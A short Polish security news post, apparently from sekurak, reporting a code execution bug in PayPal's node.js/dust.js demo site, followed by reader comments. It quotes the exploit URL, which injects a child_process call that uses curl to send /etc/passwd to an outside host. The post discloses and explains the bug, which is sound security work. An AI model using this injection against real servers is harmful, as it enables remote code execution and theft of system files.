NIS2/KSC2 starter pack. Czy Twoja firma podlega pod regulację i co z tego wynika? Bezpłatne szkolenie od sekuraka
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Bezpłatne szkolenie: AI dla admina. Top 5 zadań, które zrobisz szybciej
O problemach bezpieczeństwa w node.js pisaliśmy już jakiś czas temu. Teraz świeży bug umożliwiający wykonanie kodu w os na demo.paypal.com.
Tym razem udało się znaleźć problem przy okazji fuzzingu w burpie:
Finalnie exploit okazał się w miarę prosty (wysłanie /etc/passwd do serwera atakującego):
https://demo.paypal.com/demo/navigation?device[]=x&device[]=y’-require(‘child_process’).exec(‘curl+-F+”x=`cat+/etc/passwd`”+artsploit.com’)-‘
–Michał Sajdak
Ależ Monsieur – proszę zaprzestać! Znów nie będę w stanie za VPSa zapłacić jak zepsujecie paypal’a… ;)
He he :D
Pzdr.
No dobra, ale to nie jest exploit w node.js tylko w dust.js. Trochę jakby napisać headline, że exploit w PHP, bo ktoś znalazł dziurę w Code Igniter…